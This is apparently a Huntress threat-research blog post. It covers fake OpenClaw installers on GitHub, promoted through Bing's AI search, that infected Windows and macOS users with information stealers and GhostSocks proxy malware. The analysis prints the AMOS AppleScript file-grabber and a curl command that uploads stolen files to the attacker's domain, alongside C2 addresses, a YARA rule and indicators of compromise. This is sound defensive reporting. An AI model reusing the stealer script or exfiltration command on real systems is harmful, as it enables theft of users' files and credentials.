“Malware, from the Outside!”: How a Threat Actor Used Fake OpenClaw Installers to Infect Systems with GhostSocks and Information Stealers

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Summary

Information stealers continue to be an initial access vector for severe attacks against publicly facing systems, such as the Snowflake customer database compromise in 2024, and a Romanian oil pipeline operator compromise in 2026. This blog details an investigation into malicious GitHub repositories posing as OpenClaw installers that were available between the 2nd and 10th of February 2026. The OpenClaw installers were fake with low detection rates, and distributed information stealers that used a novel packer called Stealth Packer.

The installers also delivered malware known as GhostSocks to allow threat actors to circumvent anti-fraud detections by routing traffic through the victim's own system. This technique can trick security checks into thinking the threat actor is the actual user, making it much easier for threat actors to circumvent MFA or anti-fraud checks that would otherwise flag an unauthorized login.

The campaign did not target a particular industry, but was broadly targeting users attempting to install OpenClaw with the malicious repositories containing download instructions for both Windows and macOS environments. What made this successful was that the malware was hosted on GitHub, and the malicious repository became the top-rated suggestion in Bing’s AI search results for OpenClaw Windows.

Key takeaways

- A malicious GitHub repository was promoted via Bing AI search results for OpenClaw Windows, a technique similar to a campaign we observed in December. In that instance, attackers poisoned search results and exploited the shared chat features of ChatGPT and Grok to trick users into downloading the AMOS stealer, whereas in this instance just hosting the malware on GitHub was enough to poison Bing AI search results.
- The malicious GitHub repository contained installation instructions which, if followed, would run information stealers and GhostSocks malware on a Windows system, and Atomic MacOS Stealer (AMOS) on a MacOS system.
- Stealth Packer is a new packer that injects malware into memory, adds firewall rules, creates hidden ghost scheduled tasks, and performs potential AntiVM checks for mouse movement before running decrypted payloads.
- GhostSocks, a tool previously utilized by the BlackBasta ransomware group, turns compromised systems into proxies. It allows threat actors to bypass anti-fraud or MFA checks when logging into accounts with credentials harvested by deployed information stealers or, more broadly, to route their attacks directly through the victim's network.
- Even with a legitimate OpenClaw installation, users face a significant risk, as OpenClaw configurations contain an array of sensitive information, including passwords, API keys, and more. If an information stealer compromises the system, it can harvest not only account credentials but also sensitive OpenClaw configuration files, as previously reported by Hudson Rock.
- Just because software is hosted on a trusted platform doesn’t mean that it’s not malicious. Users should not blindly trust that the releases of code on GitHub are actually related to the code in the repository.

Background



Much like the aliens from *Toy Story* who worshipped a claw, OpenClaw is taking the world by storm and developing a lot of followers. After originally being released as Clawdbot in November of 2025, promising to be a personal open-source AI assistant, it was subsequently rebranded as Moltbot in late January of 2026, before once again being rebranded three days later to OpenClaw. Despite these rebrands, OpenClaw has become a global hit with the project quickly gaining tens of thousands of forks and hundreds of thousands of stars on GitHub, indicating users are appreciative of the project and want to stay updated about any changes to it.



Figure 1: OpenClaw star history, from original GitHub repository courtesy of star-history.com

With any new popular technology or global change that impacts a large number of people comes threat actors who are willing to capitalize on it to steal credentials and sell access to others for personal gain. So, it's no surprise that threat actors have begun using the popularity of OpenClaw to trick unsuspecting users into installing malware on their machines.

On Monday, February 9, Huntress was alerted to a system showing signs of infection after a user downloaded and ran an installer from GitHub posing as an OpenClaw installer for Windows. This came as the top-rated suggestion when searching for OpenClaw Windows, making it highly likely that other users would have fallen victim to this attack had Huntress not reported the malicious repository and GitHub not been so responsive in taking it down.

In-depth analysis of the threat

Analysis revealed that this user had searched for the term OpenClaw Windows through Bing and had the AI suggestion link directly to a newly created malicious GitHub repository openclaw-installer.



Figure 2: Bing AI search result linking to a malicious installer hosted on GitHub.

Whilst previously Huntress reported on AI chatbots being abused to trick users into running malicious commands, this time it came from Bing's AI, which natively recommended installing OpenClaw from a malicious GitHub repository.

At first glance, the GitHub repository could easily be mistaken for a legitimate installer. It's even tied to a GitHub organisation called openclaw-installer to give it a level of inherent trust that extends beyond a random user account simply posting the repository.



Figure 3: Fake Openclaw installer GitHub organisation



Figure 4: Fake Openclaw installer GitHub Readme

To an untrained LLM or “AI” system, such a repository could easily look like a legitimate installer; however, to an experienced human, this facade quickly fades when you see the intended installation method for macOS systems is to run a bash 1-liner that reaches out to a separate organisation puppeteerrr and repository dmg. We will go more into this repository later in the blog.



Figure 5: Openclaw installer GitHub organisation

Looking at the account involved in the fake OpenClaw installer revealed that the user first joined GitHub in September of 2025. They performed no public actions until they opened an issue on the official OpenClaw repository on January 30, promoting a different GitHub repository openclaw-trading-assistant, under the organisation molt-bot. This issue was closed shortly after to remove traces of self-promotion, and an identical issue was raised before a member of OpenClaw closed it off as spam.





Figures 6: Closed Openclaw issues raised by threat actor GitHub account



Figure 7: Original Openclaw issues raised by threat actor GitHub account

This repository and organisation have since been taken down, and it's likely it contained malware.

The user account is also linked to a non-existent X account in its bio, possibly to appear more legitimate, and used a picture from a different X account with nearly 200k followers.



Figure 8: Largely inactive GitHub account tied to malicious OpenClaw repository

Looking at the code inside of OpenClaw-Installer reveals that it is largely just legitimate code taken from the Cloudflare project moltworker and has nothing to do with the executables found in the releases section.



Figure 9: moltworker code comparison to OpenClaw-Installer source

Within the releases section, the malicious executable can be found named OpenClaw_x64.exe inside of a 7-Zip archive.

This is a bloated binary that had the original name TradeAI.exe. A search for similar files on VirusTotal revealed three other samples, two of which appeared possibly related and malicious with no detections, and one of which appears to be the only signed executable. All of these claimed to be an Automatic hardware driver update tool by TradeAI nofilabs and had no or low detection rates on VirusTotal.



Figure 10: Potentially malicious samples with low or no detection rates on VirusTotal

Indicator	SHA256	Description
TradeAI.exe	249058ce8dc6e74cff9fb84d4d32c82e371265b40d02bb70b7955dceea008139	Unsigned, likely malicious executable similar to the fake OpenClaw installer. Has a PDB of WormGpt.pdb, a large language model known to be used to develop malware.

TradeAI.exe	0b6ed577b993fd81e14f9abbef710e881629b8521580f3a127b2184685af7e05	Unsigned, likely malicious executable similar to the fake OpenClaw installer. Has an original PDB of Setup_Soft.pdb
TradeAI.exe	b73bd2e4cb16e9036aa7125587c5b3289e17e62f8831de1f9709896797435b82	Signed, potentially legitimate executable that's been used to embed malicious code into. Has an original PDB of TradeAIbot.exe

Upon execution of OpenClaw_x64.exe, Huntress observed multiple pieces of malware being deployed to the endpoint, many of which were quarantined by Windows Managed AV and Managed Defender for Endpoint. The vast majority of executables were loaders created in Rust designed to run information stealers in memory. A full breakdown of the binaries observed and their associated indicators are included in the indicators of compromise section at the bottom of this blog. However, some notable binaries were named cloudvideo.exe, svc_service.exe, and serverdrive.exe.

cloudvideo.exe is a Vidar stealer payload that reaches out to both Telegram and Steam user profiles to retrieve dynamic C2 information based on the channel and user profile name.



Figure 11: Telegram channel used for Vidar C2 configuration retrieval



Figure 12: Steam account used for Vidar C2 configuration retrieval

Looking at the PDB, strings, and mutexes created in some of the malware observed indicates the threat actor is possibly using a new packer called stealth packer. This was most prominent within a binary called svc_service.exe suspected to be a Rust-based malware loader that runs PureLogs Stealer in memory. This also contained a PDB of stealth_packer, and created a Mutex called StealthPackerMutex_9A8B7C.

```
.rdata:1`40049910  Registry Run KeyWinlogon UserinitGlobal\StealthPackerMutex_9A8B7C[*] Stealth Packer Starting...
.rdata:1`40049971  [*] Running as Admin:
.rdata:1`4004998B  HKCUOneDriveUpdate
.rdata:1`400499D8  {b5f8350b-0548-48b1-a6ee-88bd00b4a540}
.rdata:1`40049A38  "[-] Failed to add firewall rules:
.rdata:1`40049A5F  [+] Firewall rules added.
.rdata:1`40049A79  WindowsUpdateAssist
.rdata:1`40049B00  HKLMWindowsDefenderHelper
.rdata:1`40049B1A  [+] Cloned to:
.rdata:1`40049B2D  [*] Reboot execution detected. Skipping installation.
.rdata:1`40049B63  [+] Bypass applied successfully
.rdata:1`40049B84  [-] Bypass failed:
.rdata:1`40049B9B  [*] Decrypting embedded payload...
```

Figure 13: Strings from svc_service.exe mentioning Stealth Packer

A number of debugging messages in this sample also provide clues about the functionality of stealth packer, including invoking malware into memory, adding firewall rules, creating hidden ghost scheduled tasks, and potential AntiVM checks to look for mouse movement prior to running decrypted payloads. These are included in the gist below.

serverdrive.exe is a GhostSocks backconnect proxy that is decrypted from the embedded resource WKANKGV and is copied to a file called update.exe, before setting a user run key to execute this for persistence. GhostSocks turns compromised machines into a proxy that can be used by the threat actor as a way to bypass anti-fraud checks when accessing accounts through credentials stolen by the deployed information stealers, or more broadly, to allow attacks to be routed through the compromised system. In addition to this, GhostSocks has previously been reported as a key tool used by the BlackBasta ransomware operators for persistent access to systems.

The executable uses TLS for connections, which is a change to original variants, which would use unencrypted HTTP. Interestingly, this variant contained a check for a particular argument (--johnpidar) which if provided would launch the malware in debugging mode, providing more insight into its configuration.

```
[!] DEBUG MODE ACTIVATED
Arguments: ["C:\\Users\\user\\Downloads\\update.exe", "--johnpidar"]
Anti-bot checks will show detailed output...


[*] All checks passed, executing payload...
2026/02/15 23:38:41 Config helpers:  []
2026/02/15 23:38:41 Unique helpers:  [https://147.45.197.92:443 https://94.228.161.88:443]
2026/02/15 23:38:41 Data:  {MVIW08SirgnAgiHfoXGht42r I5QNQdQDbyn0NTWxg7PyY1rLo0LaFBV1 aUGAQ9B55kebH9fzaSLN0q7GNs0xCzKi 0Ltr.aBz53Pe}
2026/02/15 23:38:41 Making request to helper: https://147.45.197.92:443
2026/02/15 23:38:42 Got relay server from helper: https://147.45.197.92:443
2026/02/15 23:38:42 Updated config file with new helpers:  [https://87.251.87.137:443 https://194.28.225.230:443 https://77.239.121.3:443 https://77.239.120.249:443 https://84.201.4.120:443 https://206.245.157.177:443 https://172.245.112.202:443 https://193.143.1.155:443 https://193.23.211.29:443 https://64.188.70.194:443 https://121.127.33.212:443 https://144.31.204.136:443 https://144.31.204.145:443 https://93.185.159.90:443 https://144.31.139.201:443 https://144.31.139.203:443 https://144.31.123.157:443 https://193.143.1.160:443 https://147.45.197.92:443 https://94.228.161.88:443]
```

Figure 14: GhostSocks launched in debug mode using --johnpidar argument

In this instance, GhostSocks had two primary helper addresses and four pieces of embedded configuration data shown which correspond to the following:

- Primary Helper URL: hxxps[://]147[.]45[.]197[.]92:443
- Fallback Helper URL: hxxps[://]94[.]228[.]161[.]88:443
- Build Version: 0Ltr.aBz53Pe
- Potential Proxy Username (Unconfirmed): I5QNQdQDbyn0NTWxg7PyY1rLo0LaFBV1
- Potential Proxy Password (Unconfirmed): aUGAQ9B55kebH9fzaSLN0q7GNs0xCzKi
- Potential Affiliate User ID (Unconfirmed): MVIW08SirgnAgiHfoXGht42r

Upon reaching out to the primary helper addresses, more IP addresses are made available to the malware on subsequent runs. These are stored within an encrypted configuration file at %AppData%\config.



Figure 15: Encrypted GhostSocks configuration

The encrypted configuration is trivially decrypted using the XOR key config.



Figure 16: Decrypted GhostSocks configuration

Identified addresses that were downloaded to this config file are included in the indicators of compromise section.

Revisiting the GitHub account used for delivering macOS malware, this closely mirrored the first malicious GitHub profile. Notably, whilst the first account was used to promote and distribute the fake Windows installer, its install command for MacOS would instead pull and run malware from a separate repository called dmg under a newly created organisation puppeteerrr, which in itself is a major red flag. Much like the first account, the second account, which created the organisation and repository, was also first opened in September, and had no public activity up until early February when the malicious organisation puppeteerrr and associated repository dmg were created.



Figure 17: Account used in puppeteerrr organisation and dmg repository

The repository contained a number of files that followed a theme of containing a shell script paired with a Mach-O executable.



Figure 18: Malware hosted on GitHub repository dmg under puppeteerrr organisation

In Figure 18, CBpredict would be a shell script 1-liner to download, make executable, and run CBpredictbot, much the same as OpenClaw would be used to download, make executable, and run OpenClawBot.



Figure 19: Launcher script used to download and run OpenClawBot executable

The bash 1-liner is a rudimentary deployment of an ad-hoc signed Mach-O binary. A file is downloaded to $tmpdir (a random location under /var/folders), while all extended attributes are stripped from the file. This is likely in an attempt to circumvent GateKeeper controls; however, curl will not add the com.apple.quarantine flag, which renders this largely unnecessary. Execute permissions are added to the file, and it is ultimately executed under the context of the user.

Static analysis of the ~500kb OpenClawBot binary reveals very few readable strings, indicative of encryption. Execution of actions decrypted at runtime is indicative of information stealers and correlates strongly with this being a variant of Atomic MacOS Stealer (AMOS). Namely, Terminal is terminated, and the OpenClawBot process requests Administrative credentials, which are validated with dscl before requesting the appropriate TCC permissions to automate an infostealing AppleScript. The script itself traverses TCC-protected locations such as Documents, Downloads, and Desktop, looking for files with the extensions: pdf, txt, rtf, log, md, text, json, env, xlsx, xls, ods, docx, png, and doc.



Figure 20: AppleScript prompt for Administrative credentials



```
osascript -e on mkdir(someItem)
    try
        set filePosixPath to quoted form of (POSIX path of someItem)
        do shell script "mkdir -p " & filePosixPath
    end try
end mkdir

on filegrabber(outputDirectory, extensionsList, maxFilesSize)
    try
        set destinationFolderPath to POSIX file outputDirectory
        mkdir(destinationFolderPath)
        set bankSize to 0
        set fileCounter to 1

        tell application "Finder"
            try
                set desktopFiles to every file of desktop
                set documentsFiles to every file of folder "Documents" of (path to home folder)
                set downloadsFiles to every file of folder "Downloads" of (path to home folder)

                repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
                    set fileExtension to name extension of aFile
                    if fileExtension is in extensionsList then
                        set filesize to size of aFile
                        if (bankSize + filesize) < maxFilesSize then
                            try
                                set newFileName to (fileCounter as string) & "." & fileExtension
                                duplicate aFile to folder destinationFolderPath with replacing
                                set destFolderAlias to destinationFolderPath as alias
                                tell application "Finder"
                                    set copiedFiles to every file of folder destFolderAlias
                                    set lastCopiedFile to item -1 of copiedFiles
                                    set name of lastCopiedFile to newFileName
                                end tell

                                set bankSize to bankSize + filesize
                                set fileCounter to fileCounter + 1
                            end try
                        else
                            exit repeat
                        end if
                    end if
                end repeat
            end try
        end tell
    end try
end filegrabber

filegrabber("/var/folders/2c/k99d_l9n72x1zxhyc7fhrmch0000gn/T/608da57551e7b30bfe4e36a73e00f7e7/User Files", {"pdf", "txt", "rtf", "log", "md", "text", "json", "env", "xlsx", "xls", "ods", "docx", "png", "doc"}, 10 * 1024 * 1024)
```

Figure 21: Infostealer script executed once Administrative credentials and TCC privileges have been provided

Once the filegrabber method has captured the target files, ditto is used to prepare and archive the cache of data.

```
ditto -c -k --sequesterRsrc /var/folders/2c/k99d_l9n72x1zxhyc7fhrmch0000gn/T/608da57551e7b30bfe4e36a73e00f7e7 /var/folders/2c/k99d_l9n72x1zxhyc7fhrmch0000gn/T/608da57551e7b30bfe4e36a73e00f7e7.zip
```

Figure 22: Ditto archive instead of zip in order to avoid detection

```
curl -X POST https://socifiapp.com/api/reports/upload -F user_id=33 -F build_tag=NotesUrl -F report_file=@/var/folders/2c/k99d_l9n72x1zxhyc7fhrmch0000gn/T/608da57551e7b30bfe4e36a73e00f7e7.zip
```

Figure 23: POST request containing captured content to malicious domain

It’s worth noting that in the hours after receiving the OpenClawBot for analysis, our researchers observed that the latest updates to XProtect.yara (version: 5329) detect this file under a new rule, **MACOS.SOMA.CLBIFEA**. As such, it will fail to run on any macOS system with the latest XProtect rules applied.

```
rule XProtect_MACOS_SOMA_CLBIFEA {
    meta:
        description = "MACOS.SOMA.CLBIFEA"
        uuid = "87D67BAB-8FC1-4028-AE68-78F1E25050C1"

    strings:
        $a0 = {
        48 89 84 24 ?? ?? ?? ??  // mov qword ptr , rax
        48 89 84 24 ?? ?? ?? ??  // mov qword ptr , rax
        48 B8 69 74 DC 90 19 AC F7 ?? // movabs rax, 0x78f7ac1990dc7469
        48 89 44 24 ??           // mov qword ptr , rax
        48 89 84 24 ?? ?? ?? ??  // mov qword ptr , rax
    }
        $a1 = {
        48 89 84 24 ?? ?? ?? ??  // mov qword ptr , rax
        48 B8 17 5E AF D8 FC 1C B4 ?? // movabs rax, 0xe9b41cfcd8af5e17
        48 BA C7 F6 81 7E 0A 3E AF ?? // movabs rdx, 0xf8af3e0a7e81f6c7
        48 89 94 24 ?? ?? ?? ??  // mov qword ptr , rdx
        48 BE 74 5C 83 CC 73 48 31 ?? // movabs rsi, 0x30314873cc835c74
        48 89 B4 24 ?? ?? ?? ??  // mov qword ptr , rsi
    }
        $b0 = {
        ?9 ?? ?? D2              // mov x9, #0x3b58
        ?9 ?? ?? F2              // movk x9, #0xf3f0, lsl #16
        ?9 ?? ?? F2              // movk x9, #0x44c5, lsl #32
        ?9 ?? ?? F2              // movk x9, #0x34a5, lsl #48
        E8 ?? ?? F9              // str x8,
        E9 ?? ?? F9              // str x9,
        E9 ?3 ?? A9              // ldp x9, x8,
        E9 ?? ?? F9              // str x9,
        E8 ?? ?? F9              // str x8,
        E8 ?? ?? 91              // add x8, sp, #3, lsl #12
        08 ?? ?? 91              // add x8, x8, #0x40
    }
        $b1 = {
        ?A ?? ?? F2              // movk x10, #0x5952, lsl #16
        ?A ?? ?? F2              // movk x10, #0x8bce, lsl #32
        ?A ?? ?? F2              // movk x10, #0xb397, lsl #48
        ?B ?? ?? D2              // mov x11, #0x2f46
        ?B ?? ?? F2              // movk x11, #0x1efd, lsl #16
        ?B ?? ?? F2              // movk x11, #0x54f, lsl #32
        ?B ?? ?? F2              // movk x11, #0xdf9c, lsl #48
        EA ?? ?? F9              // str x10,
        EB ?? ?? F9              // str x11,
        ?9 ?? ?? D2              // mov x9, #0xd363
        ?9 ?? ?? F2              // movk x9, #0xbab3, lsl #16
        ?9 ?? ?? F2              // movk x9, #0xd53c, lsl #32
        ?9 ?? ?? F2              // movk x9, #0xb28d, lsl #48
        ?8 ?? ?? D2              // mov x8, #0x5a3c
    }

    condition:
        Macho and 1 of ( $a* ) or 1 of ( $b* ) and filesize < 1MB
}
```

Figures 24 & 25: XProtect.yara rule to detect OpenClawBot and xp_malware_detected ES event JSON output supplied by eslogger detailing enforcement of this rule.

Indicator	Type	SHA256	Description
OpenClawBot	Executable	e13d9304f7ebdab13f6cb6fae3dff3a007c87fed59b0e06ebad3ecfebf18b9fd	Mach-O universal binary with architecture [x86_64:MO 64-bit executable x86_64] [arm64:MaO 64-bit executable arm64]
hxxps[://]socifiapp[.]com/api/reports/upload	Domain	N/A	Data exfiltration location

Extra campaign insights

Whilst creating this blog, Huntress identified three other organisations and accounts used to distribute similar malicious installers suspected to be deploying information stealers. Interestingly, one of these mimics the original openclaw-installer and was created a day after the original account, organisation, and repository were taken down. All have been reported to GitHub.

Organisation	Repository	User Account	Note	Email Associated with User Account
simple-claw	simpleclaw	JSfOMGi2	Created repository February 4, 2026. Fake SimpleClaw installer	jessicajacksonfusg[@]hotmail[.]com
ComfyUI-easy	ComfyUI-auto-installer	pblockbDerp4	Created repository December 24, 2025. Fake Comfy UI Auto Installer. User image is taken from @dannysmith on X.	ssljrrausv886[@]hotmail[.]com
install-openclaw	openclaw-installer	wgodbarrelv4	Created repository February 11, 2026. User image is taken from @pradeep on X.	jameswilsonlbum[@]hotmail.com

Conclusion

The Huntress Threat Detection and Response function came together to detect, respond, and impede ongoing malicious activity from the fake OpenClaw installers. After the Huntress SOC was able to identify the malicious activity, isolate the impacted system, and report it to the impacted Huntress partner, Huntress' Detection Engineering and Threat Hunting (DE&TH) function reported the malicious GitHub repositories, accounts, and organisations, and within eight hours of reporting these, they had been taken down by GitHub.

As new technologies grow in popularity, so does the risk of threat actors leveraging these technologies in new lures to infect unsuspecting users. As your most technical users are often granted administrator privileges, this makes them a high risk. Ensuring even your most technical users who are experimenting with these technologies understand the risks posed and how to spot malicious installers is just one of the ways you can layer your defenses to prevent an incident from occurring in your environment.

Indicators of compromise (IOCs)

Name	Type	SHA256
C:\Users\REDACTED_USER\Downloads\OpenClaw_x64\OpenClaw_x64.exe	Executable	518ff5fbfa4296abf38dfc342107f70e1491a7460978
C:\Users\Public\Pictures\ServiceHost\UpdateAgent\cloudvideo.exe	Executable	f03e38e1c39ac52179e43107cf7511b9407edf83c008
C:\Users\Public\Music\AudioController\USBHelper\svc_service.exe	Executable	40fc240febf2441d58a7e2554e4590e172bfefd289a5
C:\Users\Public\Pictures\SystemComponent\WindowsDriver\WinHealthCare.exe	Executable	fd67063ffb0bcde44dca5fea09cc0913150161d7cb13
C:\Users\Public\Documents\DriverController\ServiceManager\OneSync.exe	Executable	d5dffba463beae207aee339f88a18cfcd2ea2cd3e36e9

C:\Users\REDACTED_USER\AppData\Local\Microsoft\OneDriveSyncHost.exe	Executable	d5dffba463beae207aee339f88a18cfcd2ea2cd3e36e9
C:\Users\REDACTED_USER\AppData\Local\Temp\MicrosoftSync.exe	Executable	d5dffba463beae207aee339f88a18cfcd2ea2cd3e36e9
C:\Users\REDACTED_USER\AppData\Roaming\Adobe\AdobeCloudHelper.exe	Executable	d5dffba463beae207aee339f88a18cfcd2ea2cd3e36e9
C:\Users\Public\Documents\GraphicsDriver\IntelAdapter\serverdrive.exe	Executable	a22ddb3083b62dae7f2c8e1e86548fc71b63b7652b5
%AppData%\Microsoft\Windows\Cache\update.exe	Executable	a22ddb3083b62dae7f2c8e1e86548fc71b63b7652b5
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\{BackgroundTask}	Run Key	N/A
EdgeUpdateHelper	Scheduled Task	d5dffba463beae207aee339f88a18cfcd2ea2cd3e36e9
serverconect[.]cc	Domain	N/A
hxxps[://]telegram[.]me/dikkh0k	URL	N/A
hxxps[://]steamcommunity[.]com/profiles/76561198742377525	URL	N/A
185[.]196[.]9[.]98	IP Address	N/A
Global\{SystemMgr4902}_851586903	Mutex	N/A
Global\StealthPackerMutex_9A8B7C	Mutex	N/A
c10f845f3942	Mutex	N/A
121[.]127[.]33[.]212 144[.]31[.]123[.]157 144[.]31[.]139[.]201 144[.]31[.]139[.]203 144[.]31[.]204[.]136 144[.]31[.]204[.]145 147[.]45[.]197[.]92 172[.]245[.]112[.]202 193[.]143[.]1[.]155	IP Address	N/A

193[.]143[.]1[.]160 193[.]23[.]211[.]29 194[.]28[.]225[.]230 206[.]245[.]157[.]177 64[.]188[.]70[.]194 77[.]239[.]120[.]249 77[.]239[.]121[.]3 84[.]201[.]4[.]120 87[.]251[.]87[.]137 93[.]185[.]159[.]90 94[.]228[.]161[.]88		
OpenClawBot	Executable	e13d9304f7ebdab13f6cb6fae3dff3a007c87fed59b0e
hxxps[://]socifiapp[.]com/api/reports/upload	Domain	N/A

Source: https://www.huntress.com/blog/openclaw-github-ghostsocks-infostealer